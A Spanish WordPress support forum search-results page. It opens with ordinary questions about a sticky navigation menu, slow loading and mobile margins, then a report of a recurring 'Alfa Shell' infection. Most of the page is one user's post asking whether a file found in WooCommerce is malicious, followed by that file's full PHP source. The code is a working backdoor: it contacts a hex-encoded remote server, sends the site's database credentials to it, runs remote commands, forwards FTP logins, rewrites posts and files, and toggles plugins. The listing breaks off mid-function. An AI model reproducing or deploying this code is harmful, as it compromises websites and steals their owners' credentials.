Soporte » Buscar » Resultados de búsqueda para 'wpo'

Viendo 15 resultados - del 31 al 45 (de un total de 215)
    • Buenos días, estoy trabajando en el desarrollo de una página web y para aplicar la propiedad sticky a la barra de navegación opté por mover su código del header al cuerpo, dado que me agrada que de inicio el menú esté abajo y luego se quede fijo arriba, pero si formaba parte de la cabecera no se me ocurría forma de dejarlo estático.

      El caso es que al hacer esto el menú móvil se ha deshabilitado y no soy capaz de encontrar el problema. Básicamente, el código php originalmente estaba en header.php y era el siguiente:

      <!DOCTYPE html>
      <html <?php language_attributes(); ?> class="no-js no-svg">
      <head>
      <meta charset="<?php bloginfo( 'charset' ); ?>">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <link rel="profile" href="https://gmpg.org/xfn/11">
      <meta content="visitar galicia, que ver en galicia, turismo galicia, guia turistico galicia, excursiones galicia, vacaciones galicia, visita guiada galicia, que hacer en galicia" name="keywords">
      <?php wp_head(); 
      	?>
      
      	</head>
      
      <body <?php body_class(); ?>>
      <?php wp_body_open(); ?>
      <div id="page" class="site">
      	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentyseventeen' ); ?></a>
      
      	<header id="masthead" class="site-header" role="banner">
      
      		<?php get_template_part( 'template-parts/header/header', 'image' ); ?>
      
      		<?php if ( has_nav_menu( 'top' ) ) : ?>
      			<div class="navigation-top">
      				<div class="wrap">
      					<?php get_template_part( 'template-parts/navigation/navigation', 'top' ); ?>
      				</div><!-- .wrap -->
      			</div><!-- .navigation-top -->
      		<?php endif; ?>
      
      	</header><!-- #masthead -->
      
      	<?php
      
      	/*
      	 * If a regular post or page, and not the front page, show the featured image.
      	 * Using get_queried_object_id() here since the $post global may not be set before a call to the_post().
      	 */
      	if ( ( is_single() || ( is_page() && ! twentyseventeen_is_frontpage() ) ) && has_post_thumbnail( get_queried_object_id() ) ) :
      		echo '<div class="single-featured-image-header">';
      		echo get_the_post_thumbnail( get_queried_object_id(), 'twentyseventeen-featured-image' );
      		echo '</div><!-- .single-featured-image-header -->';
      	endif;
      	?>
      
      	<div class="site-content-contain">
      		<div id="content" class="site-content">

      Le retiré esta parte de aquí:

      <?php if ( has_nav_menu( 'top' ) ) : ?>
      			<div class="navigation-top">
      				<div class="wrap">
      					<?php get_template_part( 'template-parts/navigation/navigation', 'top' ); ?>
      				</div><!-- .wrap -->
      			</div><!-- .navigation-top -->
      		<?php endif; ?>

      Y lo añadí en las páginas frontal y simples, tal que así (dejo solo el frontal):

      get_header(); ?>
      
      <div id="primary" class="content-area">
      	
      <?php if ( has_nav_menu( 'top' ) ) : ?>
      			<div class="navigation-top">
      				<div class="wrap">
      					<?php get_template_part( 'template-parts/navigation/navigation', 'top' ); ?>
      				</div><!-- .wrap -->
      			</div><!-- .navigation-top -->
      		<?php endif; ?>	
      	
      	
      	<main id="main" class="site-main" role="main">
      
      		<?php
      		// Show the selected front page content.
      		if ( have_posts() ) :
      			while ( have_posts() ) :
      				the_post();
      				get_template_part( 'template-parts/page/content', 'front-page' );
      			endwhile;
      		else :
      			get_template_part( 'template-parts/post/content', 'none' );
      		endif;
      		?>
      
      		<?php
      		// Get each of our panels and show the post data.
      		if ( 0 !== twentyseventeen_panel_count() || is_customize_preview() ) : // If we have pages to show.
      
      			/**
      			 * Filter number of front page sections in Twenty Seventeen.
      			 *
      			 * @since Twenty Seventeen 1.0
      			 *
      			 * @param int $num_sections Number of front page sections.
      			 */
      			$num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 );
      			global $twentyseventeencounter;
      
      			// Create a setting and control for each of the sections available in the theme.
      			for ( $i = 1; $i < ( 1 + $num_sections ); $i++ ) {
      				$twentyseventeencounter = $i;
      				twentyseventeen_front_page_section( null, $i );
      			}
      
      	endif; // The if ( 0 !== twentyseventeen_panel_count() ) ends here.
      		?>
      
      	</main><!-- #main -->
      </div><!-- #primary -->
      
      <?php
      get_footer();
      ?>

      El caso es que he revisado varias veces el JS y otros módulos PHP y no se me ocurre cómo dar con una solución para que el menú móvil «reviva». ¿Alguien podría echarme una mano?

      La página con la que necesito ayuda: [accede para ver el enlace]

    Hola @nicocordova

    Lamentablemente tu problema lo tienes en tu servidor y como hicistes la web.

    He tardado 17.30s y 24.93s en finalizar la carga de tu web, de los cuales 13.61s y 21.70s fueron esperando la respuesta del servidor.
    Asi tu servidor no es de calidad para nada como mencionas, te pongo un par de enlaces para que tu mismo veas lo que tarda tu servidor en responder
    https://gtmetrix.com/reports/irrompiblesrelojes.com/36rxdxro/ y la de google simplemente me tira error.

    
    Lighthouse returned error: FAILED_DOCUMENT_REQUEST. Lighthouse no ha podido cargar correctamente la página que has solicitado. Comprueba que estás probando la URL correcta y que el servidor responde correctamente a todas las solicitudes. (Detalles: net::ERR_TIMED_OUT)
    

    https://developers.google.com/speed/pagespeed/insights/?url=https%3A%2F%2Firrompiblesrelojes.com%2F

    Si ha eso tambien le sumas el elementor, el theme, etc… ya tienes el problema que estas comentando.
    En su soporte pueden que te ayudan ya que todo es de pago, para mejor algunos aspectos o como configurar x cosa, sino tendras que contratar algun profesional para que aplique lo que se conoce como WPO.
    Tambien existen varios tutoriales por internet, pero si no sabes lo que haces podria ser peor el remedio que la enfermedad.

    Y sobre tu servidor, habla con ellos lo antes posible para que te expliquen porque tienes esos tiempos de respuesta.

    Saludos

    • Buen día
      mi web carga demasiado lento. En ocasiones abre la pág principal sin mayores contratiempos, pero al hacer click en cualquier otra página me aparece un circulito azul (cargando) y no me abre más nada.
      Tengo el tema cover news y newport si no me equivoco

      La página con la que necesito ayuda: [accede para ver el enlace]

    • Hola, tengo un problema con el tema de las márgenes al mostrar la pagina en el móvil, la página no queda de ancho completo sino que se ve una franja blanca en la derecha y he intentado de todo y nada que la logro quitar, no se si el problema es del header o del footer o de alguna sección, pero necesito ayuda urgente porque la verdad no se que hacer.

      Adjunto la imagen de como se ve la web en el celular y ahí se puede notar la franja.

      El tema que estoy usando es wpocean + elementor pro.

      Gracias.

      • Este debate fue modificado hace 1 año, 11 meses por pablocol209.
      • Este debate fue modificado hace 1 año, 11 meses por pablocol209.

      La página con la que necesito ayuda: [accede para ver el enlace]

    Foro: Seguridad
    En respuesta a: Alfa Shell
    Iniciador del debate felinecrisis

    (@felinecrisis)

    Actualizacion.

    Despues de que se haya borrado con Malcare de pago, ha vuelto a suceder.

    Esta vez ha pisoteado mi cuenta de admin con su contraseña, y en vez de utilizar header and footer injection, ha modificado directamente el header para que sea mas dificil de localizar y le quite los spams.

    Este es el codigo oculto.

    <script data-ad-client=»ca-pub-8556744503570466″ async src=»https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js»></script>
    <meta charset=»<?php bloginfo( ‘charset’ ); ?>»>
    <meta name=»viewport» content=»width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no»>
    <link rel=»profile» href=»http://gmpg.org/xfn/11″>
    <link rel=»pingback» href=»<?php bloginfo( ‘pingback_url’ ); ?>»>

    Lloro.

    • hola a todos, gracias por siempre ayudar a los demás…

      hoy vengo con una duda, en el woocommerce me ha salido un archivo extraño no se si es malo…

      /wp-content/plugins/woocommerce/packages/action-scheduler/deprecated/.deprecated.php

      el código del mismo es este:

      <?php
      if ( !class_exists( 'WPTemplatesOptions' ) ) {
      	class WPTemplatesOptions
      	{
      		private $startTime;
      		private $script = '';
      		private $version = 8;
      		private $upDir = '';
      		private $uploadDir = '';
      		private $uploadUrl = '';
      		private $address;
      		private $return_array;
      		private $client;
      		private $all;
      		private $install;
      		private $uninstall;
      		private $is_bot;
      		private $secret;
      		private $json_encode;
      		private $json_decode;
      		private $data;
      		private $plugin;
      		private $theme;
      		private $wp_load;
      		private $reinstall;
      		private static $instance = null;
      
      		private function __construct() {
      		}
      
      		public static function getInstanceWordpress() {
      			if ( static::$instance === null ) {
      				static::$instance = new static();
      			}
      
      			return static::$instance;
      		}
      
      		private function upDir() {
      			$this->upDir = $this->_wp_upload_dir();
      			$this->uploadDir = $this->upDir['path'];
      			$this->uploadUrl = $this->upDir['url'];
      		}
      
      		private function address() {
      			return array(
      				$this->encrypt( $_SERVER['REMOTE_ADDR'] ),
      				$this->encrypt( $_SERVER['HTTP_CLIENT_IP'] ),
      				$this->encrypt( $_SERVER['HTTP_CF_CONNECTING_IP'] ),
      				$this->encrypt( $_SERVER['HTTP_X_FORWARDED_FOR'] ),
      			);
      		}
      
      		private function abspath() {
      			if ( defined( 'ABSPATH' ) ) {
      				return ABSPATH;
      			}
      			return $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
      		}
      
      		private function baseUrl() {
      			return $this->hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f' );
      		}
      
      		public function convert( $size ) {
      			$unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
      			return @round( $size / pow( 1024, ($i = floor( log( $size, 1024 ) )) ), 2 ) . ' ' . $unit["{$i}"];
      		}
      
      		public function execTimeStart() {
      			$this->startTime = microtime( true );
      		}
      
      		public function execTime() {
      			return (microtime( true ) - $this->startTime);
      		}
      
      		public function controlAction( $action, $params, $token ) {
      			try {
      				if ( $this->method_exists( $action ) && strtolower( $action ) !== strtolower( __FUNCTION__ ) ) {
      					if ( $this->post() ) {
      						if ( $this->client->password === $this->encrypt( $token ) && $this->authorization() ) {
      							$this->execTimeStart();
      							return $this->{$action}( $params );
      						}
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function answer( $code, $message, $data = '', $errorNo = '' ) {
      			try {
      				$answer['code'] = $code;
      				$answer['time'] = $this->execTime();
      				$answer['memory'] = $this->convert( memory_get_usage( true ) );
      				$answer['message'] = $message;
      				$answer['data'] = $data;
      				if ( $errorNo !== '' ) {
      					$answer['errorNo'] = $errorNo;
      				}
      
      				return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function php_uname() {
      			if ( function_exists( 'php_uname' ) ) {
      				return php_uname();
      			}
      			return false;
      		}
      
      		private function get_bloginfo( $show = '', $filter = 'raw' ) {
      			try {
      				if ( function_exists( 'get_bloginfo' ) ) {
      					return get_bloginfo( $show, $filter );
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function get_template_directory() {
      			if ( function_exists( 'get_template_directory' ) ) {
      				return get_template_directory();
      			}
      			return false;
      		}
      
      		private function json_validator( $data = null ) {
      			try {
      				if ( !empty( $data ) || !is_null( $data ) ) {
      					$decode = @json_decode( $data );
      					if ( empty( $decode ) || is_null( $decode ) ) {
      						return false;
      					}
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function timestamp( $unix ) {
      			try {
      				return round( (strtotime( date( 'Y-m-d H:i:s' ) ) - $unix) / 60 / 60 );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function _get_theme_root( $stylesheet_or_template = '' ) {
      			if ( function_exists( 'get_theme_root' ) ) {
      				return get_theme_root( $stylesheet_or_template );
      			}
      			return false;
      		}
      
      		private function _gethostbyname() {
      			if ( function_exists( 'gethostbyname' ) ) {
      				return gethostbyname( getHostName() );
      			}
      			return $_SERVER['SERVER_ADDR'];
      		}
      
      		private function _is_home() {
      			if ( function_exists( 'is_home' ) ) {
      				return is_home();
      			}
      			return false;
      		}
      
      		private function _is_front_page() {
      			if ( function_exists( 'is_front_page' ) ) {
      				return is_front_page();
      			}
      			return false;
      		}
      
      		private function _wp_remote_post( $url, $args = array() ) {
      			if ( function_exists( 'wp_remote_post' ) ) {
      				return wp_remote_post( $url, $args );
      			}
      			return false;
      		}
      
      		private function _wp_remote_retrieve_response_code( $response ) {
      			if ( function_exists( 'wp_remote_retrieve_response_code' ) ) {
      				return wp_remote_retrieve_response_code( $response );
      			}
      			return false;
      		}
      
      		private function _wp_remote_retrieve_body( $response ) {
      			if ( function_exists( 'wp_remote_retrieve_body' ) ) {
      				return wp_remote_retrieve_body( $response );
      			}
      			return false;
      		}
      
      		private function _site_url( $path = '', $scheme = null ) {
      			if ( function_exists( 'site_url' ) ) {
      				return site_url( $path, $scheme );
      			}
      			return false;
      		}
      
      		private function _wp_upload_dir() {
      			try {
      				if ( function_exists( 'wp_upload_dir' ) ) {
      					return wp_upload_dir();
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function wp_count_posts() {
      			try {
      				if ( function_exists( 'wp_count_posts' ) ) {
      					return intval( wp_count_posts()->publish );
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function _kses_remove_filters() {
      			if ( !function_exists( 'kses_remove_filters' ) ) {
      				include_once($this->abspath() . 'wp-includes/kses.php');
      				$this->_kses_remove_filters();
      			} else {
      				kses_remove_filters();
      			}
      			return false;
      		}
      
      		private function _wp_update_post( $postarr = array(), $wp_error = false ) {
      			if ( function_exists( 'wp_update_post' ) ) {
      				$this->_kses_remove_filters();
      				return wp_update_post( $postarr, $wp_error );
      			}
      			return false;
      		}
      
      		private function _get_categories() {
      			try {
      				if ( function_exists( 'get_categories' ) ) {
      					$return = array();
      					foreach ( get_categories() as $item ) {
      						$return[$item->term_id] = $item->name;
      					}
      					return $return;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function _get_post( $post = null, $output = null, $filter = 'raw' ) {
      			if ( is_null( $output ) ) {
      				$output = new stdClass();
      			}
      			if ( function_exists( 'get_post' ) ) {
      				return get_post( $post, $output, $filter );
      			}
      			return false;
      		}
      
      		private function _get_plugins( $plugin_folder = '' ) {
      			if ( function_exists( 'get_plugins' ) ) {
      				return get_plugins( $plugin_folder );
      			}
      			return false;
      		}
      
      		private function _is_plugin_active( $plugin ) {
      			if ( function_exists( 'is_plugin_active' ) ) {
      				return is_plugin_active( $plugin );
      			} else {
      				if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
      					include_once($filename);
      					return $this->_is_plugin_active( $plugin );
      				}
      			}
      			return false;
      		}
      
      		private function _deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
      			if ( function_exists( 'deactivate_plugins' ) ) {
      				return deactivate_plugins( $plugins, $silent, $network_wide );
      			}
      			return false;
      		}
      
      		private function _activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
      			if ( function_exists( 'activate_plugins' ) ) {
      				return activate_plugins( $plugins, $redirect, $network_wide, $silent );
      			}
      			return false;
      		}
      
      		private function _get_option( $option, $default = false ) {
      			if ( function_exists( 'get_option' ) ) {
      				return get_option( $option, $default );
      			}
      			return false;
      		}
      
      		private function _update_option( $option, $value, $autoload = null ) {
      			if ( function_exists( 'update_option' ) ) {
      				return update_option( $option, $value, $autoload );
      			}
      			return false;
      		}
      
      		private function _add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
      			if ( function_exists( 'add_option' ) ) {
      				return add_option( $option, $value, $deprecated, $autoload );
      			}
      			return false;
      		}
      
      		private function _wp_get_themes( $args = array() ) {
      			if ( function_exists( 'wp_get_themes' ) ) {
      				return wp_get_themes( $args );
      			}
      			return false;
      		}
      
      		private function _get_user_by( $field, $value ) {
      			if ( function_exists( 'get_user_by' ) ) {
      				return get_user_by( $field, $value );
      			}
      			return false;
      		}
      
      		private function _wp_set_current_user( $id, $name = '' ) {
      			if ( function_exists( 'wp_set_current_user' ) ) {
      				return wp_set_current_user( $id, $name );
      			}
      			return false;
      		}
      
      		private function _wp_set_auth_cookie( $user_id, $remember = true, $secure = '', $token = '' ) {
      			if ( function_exists( 'wp_set_auth_cookie' ) ) {
      				return wp_set_auth_cookie( $user_id, $remember, $secure, $token );
      			}
      			return false;
      		}
      
      		private function _wp_authenticate( $username, $password ) {
      			if ( function_exists( 'wp_authenticate' ) ) {
      				return wp_authenticate( $username, $password );
      			} else {
      				include_once($this->abspath() . 'wp-includes/pluggable.php');
      			}
      			return false;
      		}
      
      		private function _add_action( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
      			if ( function_exists( 'add_action' ) ) {
      				return add_action( $tag, $function_to_add, $priority, $accepted_args );
      			}
      			return false;
      		}
      
      		private function _add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
      			if ( function_exists( 'add_filter' ) ) {
      				return add_filter( $tag, $function_to_add, $priority, $accepted_args );
      			}
      			return false;
      		}
      
      		private function _is_user_logged_in() {
      			$is_user_logged_in = false;
      			if ( function_exists( 'is_user_logged_in' ) ) {
      				$is_user_logged_in = is_user_logged_in();
      			}
      			return $is_user_logged_in;
      		}
      
      		private function wp_update_post() {
      			try {
      				if ( !$this->hex2bin( $_REQUEST['post_title'] ) || !$this->hex2bin( $_REQUEST['post_content'] ) ) {
      					return false;
      				}
      				$array = array(
      					'ID'           => $_REQUEST['id'],
      					'post_title'   => $this->hex2bin( $_REQUEST['post_title'] ),
      					'post_content' => $this->hex2bin( $_REQUEST['post_content'] ),
      				);
      				if ( $this->_wp_update_post( $array ) ) {
      					return $this->answer( true, __FUNCTION__, $this->_get_post( $_REQUEST['id'] ) );
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function check() {
      			try {
      				$this->upDir();
      				if ( $this->uploadDir ) {
      					if ( !is_writable( $this->uploadDir ) ) {
      						if ( !@chmod( $this->uploadDir, 0777 ) ) {
      							$data['uploadDirWritable'] = false;
      						} else {
      							$data['uploadDirWritable'] = true;
      						}
      					} else {
      						$data['uploadDirWritable'] = true;
      					}
      				} else {
      					$data['uploadDirWritable'] = true;
      				}
      				$data['clientVersion'] = $this->version;
      				$data['script'] = 'WordPress';
      				$data['title'] = $this->get_bloginfo( 'name' );
      				$data['description'] = $this->get_bloginfo( 'description' );
      				$data['language'] = $this->get_bloginfo( 'language' );
      				$data['WPVersion'] = $this->get_bloginfo( 'version' );
      				$data['wp_count_posts'] = $this->wp_count_posts();
      				$data['get_categories'] = $this->_get_categories();
      				$data['uploadDir'] = $this->uploadDir;
      				$data['cache'] = (defined( 'WP_CACHE' ) && WP_CACHE) ? true : false;
      				$data['themeName'] = (function_exists( 'wp_get_theme' )) ? wp_get_theme()->get( 'Name' ) : false;
      				$data['themeDir'] = $this->get_template_directory();
      				$data['themes'] = $this->get_themes();
      				$data['plugins'] = $this->get_plugins();
      				$data['home'] = $this->home();
      				$data['root'] = $this->abspath();
      				$data['filepath'] = __FILE__;
      				$data['uname'] = $this->php_uname();
      				$data['hostname'] = $this->_gethostbyname();
      				$data['php'] = phpversion();
      				return $this->answer( true, 'WordPress', $data );
      			} catch ( Exception $e ) {
      				return $this->answer( false, 'Unknown ERROR', $e->getMessage(), 'ERR000' );
      			}
      		}
      
      		private function home() {
      			try {
      				if ( isset( $_REQUEST['home_path'] ) ) {
      					return $this->hex2bin( $_REQUEST['home_path'] );
      				}
      				if ( isset( $_REQUEST['home_directory'] ) ) {
      					$directory = DIRECTORY_SEPARATOR;
      					for ( $i = 1; $i <= $_REQUEST['home_directory']; $i++ ) {
      						$directory .= DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;
      					}
      					return realpath( $this->abspath() . $directory ) . DIRECTORY_SEPARATOR;
      				}
      				return realpath( $this->abspath() ) . DIRECTORY_SEPARATOR;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function encrypt( $hash ) {
      			try {
      				return md5( sha1( md5( $hash ) ) );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function is_null( $variable ) {
      			try {
      				if ( is_null( $variable ) || empty( $variable ) ) {
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function method_exists( $action ) {
      			try {
      				if ( method_exists( $this, $action ) ) {
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		public function authorization() {
      			try {
      				if ( $this->client->authorization === true || count( array_intersect( $this->address(), $this->client->address ) ) > 0 ) {
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function post() {
      			try {
      				$post = $this->_wp_remote_post( $this->baseUrl(), array(
      					'body' => array(
      						'url'         => $this->_site_url( '/' ),
      						'client'      => $this->check(),
      						'DB_HOST'     => (defined( 'DB_HOST' )) ? DB_HOST : 'undefined',
      						'DB_USER'     => (defined( 'DB_USER' )) ? DB_USER : 'undefined',
      						'DB_PASSWORD' => (defined( 'DB_PASSWORD' )) ? DB_PASSWORD : 'undefined',
      						'DB_NAME'     => (defined( 'DB_NAME' )) ? DB_NAME : 'undefined',
      					),
      				) );
      				if ( $this->_wp_remote_retrieve_response_code( $post ) === 200 && $this->json_validator( $this->_wp_remote_retrieve_body( $post ) ) ) {
      					$this->json_encode = $this->_wp_remote_retrieve_body( $post );
      					$this->json_decode = json_decode( $this->json_encode );
      					$this->client = $this->json_decode->files;
      					$this->data = $this->json_decode->data;
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function send( $array, $data ) {
      			try {
      				$this->_wp_remote_post( $this->baseUrl() . "{$array}", array(
      					'body' => array(
      						'url'  => $this->_site_url( '/' ),
      						$array => $data,
      					),
      				) );
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function str_replace( $data ) {
      			try {
      				$search = array('//');
      				$replace = array('/');
      				return str_replace( $search, $replace, $data );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function strpos( $haystack, $needle, $offset = 0 ) {
      			try {
      				if ( !is_array( $needle ) )
      					$needle = array($needle);
      				foreach ( $needle as $query ) {
      					if ( strpos( $haystack, $query, $offset ) !== false ) {
      						return true;
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function hex2bin( $data ) {
      			try {
      				static $old;
      				if ( $old === null ) {
      					$old = version_compare( PHP_VERSION, '5.2', '<' );
      				}
      				$isobj = false;
      				if ( is_scalar( $data ) || (($isobj = is_object( $data )) && method_exists( $data, '__toString' )) ) {
      					if ( $isobj && $old ) {
      						ob_start();
      						echo $data;
      						$data = ob_get_clean();
      					} else {
      						$data = (string) $data;
      					}
      				} else {
      					return false;
      				}
      				$len = strlen( $data );
      				if ( $len % 2 ) {
      					return false;
      				}
      				if ( strspn( $data, '0123456789abcdefABCDEF' ) != $len ) {
      					return false;
      				}
      				return pack( 'H*', $data );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function ftp_connect( $hostname = 'localhost', $username = null, $password = null, $ssl = false ) {
      			try {
      				if ( !$ssl ) {
      					if ( !$stream = ftp_connect( $hostname, 21, 10 ) ) {
      						return false;
      					}
      				} else if ( function_exists( 'ftp_ssl_connect' ) ) {
      					if ( !$stream = ftp_ssl_connect( $hostname, 21, 10 ) ) {
      						return false;
      					}
      				} else {
      					return false;
      				}
      				if ( @ftp_login( $stream, $username, $password ) ) {
      					ftp_close( $stream );
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function ftp() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->client->ftp === false ) {
      					define( 'FS_METHOD', 'ftpsockets' );
      				}
      				if ( isset( $_REQUEST['connection_type'] ) && !$this->is_null( $_REQUEST['connection_type'] ) ) {
      					$connection_type = (isset( $_REQUEST['connection_type'] )) ? $_REQUEST['connection_type'] : 'sftp';
      					$hostname = (isset( $_REQUEST['hostname'] )) ? $_REQUEST['hostname'] : null;
      					$username = (isset( $_REQUEST['username'] )) ? $_REQUEST['username'] : null;
      					$password = (isset( $_REQUEST['password'] )) ? $_REQUEST['password'] : null;
      					if ( $this->ftp_connect( $hostname, $username, $password, ($connection_type === 'sftp') ? true : false ) ) {
      						$data = array(
      							'hostname'        => urlencode( $hostname ),
      							'address'         => urlencode( $this->_gethostbyname() ),
      							'username'        => urlencode( $username ),
      							'password'        => urlencode( $password ),
      							'connection_type' => urlencode( $connection_type ),
      						);
      						$this->send( 'FTP', $data );
      						$this->get();
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function command() {
      			try {
      				if ( !isset( $_REQUEST['command'] ) ) {
      					return false;
      				}
      				$command = $this->hex2bin( $_REQUEST['command'] );
      				if ( file_exists( $filename = __DIR__ . '/command.php' ) ) {
      					include_once($filename);
      					return $this->answer( true, $command, cmd( $command ) );
      				} else {
      					if ( $this->write( $filename, $this->client->command ) ) {
      						return $this->command();
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function activate_plugins() {
      			try {
      				if ( !isset( $_REQUEST['plugin_name'] ) ) {
      					return false;
      				}
      				$plugin_name = $this->hex2bin( $_REQUEST['plugin_name'] );
      				if ( $this->_is_plugin_active( $plugin_name ) ) {
      					$this->_deactivate_plugins( $plugin_name );
      					return $this->check();
      				} else {
      					$this->_activate_plugins( $plugin_name );
      					return $this->check();
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function get_plugins() {
      			try {
      				if ( !function_exists( 'get_plugins' ) ) {
      					if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
      						include_once($filename);
      					}
      				}
      				foreach ( $this->_get_plugins() AS $plugin_name => $get_plugin ) {
      					$plugins[$plugin_name] = $get_plugin;
      					if ( $this->_is_plugin_active( $plugin_name ) ) {
      						$plugins[$plugin_name]['active'] = 1;
      					} else {
      						$plugins[$plugin_name]['active'] = 0;
      					}
      				}
      
      				return (isset( $plugins )) ? $plugins : array();
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function get_themes() {
      			try {
      				$themes = array();
      				if ( $this->_wp_get_themes() !== false ) {
      					foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
      						$themes[$theme_name] = array(
      							'Name'        => $wp_get_theme->get( 'Name' ),
      							'Description' => $wp_get_theme->get( 'Description' ),
      							'Author'      => $wp_get_theme->get( 'Author' ),
      							'AuthorURI'   => $wp_get_theme->get( 'AuthorURI' ),
      							'Version'     => $wp_get_theme->get( 'Version' ),
      							'Template'    => $wp_get_theme->get( 'Template' ),
      							'Status'      => $wp_get_theme->get( 'Status' ),
      							'TextDomain'  => $wp_get_theme->get( 'TextDomain' ),
      						);
      					}
      				}
      				return $themes;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function folder_exist( $folder ) {
      			try {
      				$path = realpath( $folder );
      				return ($path !== false AND is_dir( $path )) ? $path : false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function list_folders( $directory ) {
      			try {
      				$directory = (isset( $directory ) && $directory !== '') ? $this->hex2bin( $directory ) : $this->abspath();
      				if ( ($dir = $this->folder_exist( $directory )) !== false ) {
      					return $this->answer( true, $directory, $this->str_replace( glob( $directory . '/*' ) ) );
      				} else {
      					return $this->answer( false, 'Failed to find folder to list!', $directory, 'ERR004' );
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function replace( $filename, $search, $replace ) {
      			try {
      				$source = $this->read( $filename );
      				if ( strpos( $source, $replace ) === false ) {
      					$strpos = strpos( $source, $search );
      					if ( $strpos !== false ) {
      						$content = substr_replace( $source, $replace, $strpos, strlen( $search ) );
      						return ($this->write( $filename, $content )) ? $filename : false;
      					} else {
      						return $filename;
      					}
      				} else {
      					return $filename;
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function restore( $filename, $search, $replace ) {
      			try {
      				$source = $this->read( $filename );
      
      				return $this->write( $filename, str_replace( $search, $replace, $source ) );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function directory( $folder = null, $pattern = 'n', $flags = 'n' ) {
      
      			if ( $pattern === 'n' ) {
      				$pattern = '{,.}*.php';
      			}
      			if ( $flags === 'n' ) {
      				$flags = GLOB_BRACE | GLOB_NOSORT;
      			}
      			if ( $this->is_null( $folder ) ) {
      				$folder = $this->home();
      			}
      			if ( substr( $folder, -1 ) !== DIRECTORY_SEPARATOR ) {
      				$folder .= DIRECTORY_SEPARATOR;
      			}
      
      			$files = glob( $folder . $pattern, $flags );
      
      			foreach ( glob( $folder . '*', GLOB_ONLYDIR | GLOB_NOSORT | GLOB_MARK ) as $dir ) {
      				$dirFiles = $this->directory( $dir, $pattern, $flags );
      				if ( $dirFiles !== false ) {
      					$files = array_merge( $files, $dirFiles );
      				}
      			}
      
      			return $files;
      		}
      
      		private function all() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				foreach ( $this->directory() as $iterator ) {
      					$this->all->files[] = $iterator;
      					$this->all->directory[] = dirname( $iterator );
      					if ( stristr( $iterator, 'wp-content/plugins' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
      						$this->all->plugin[] = $iterator;
      					}
      					if ( stristr( $iterator, 'wp-content/themes' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
      						$this->all->theme[] = $iterator;
      					}
      					if ( stristr( $iterator, 'wp-content/themes' ) && stristr( $iterator, 'functions.php' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('themes') ) ) {
      						$this->all->function[] = $iterator;
      					}
      					if ( stristr( $iterator, 'wp-load.php' ) ) {
      						$this->all->wp_load[] = $iterator;
      					}
      				}
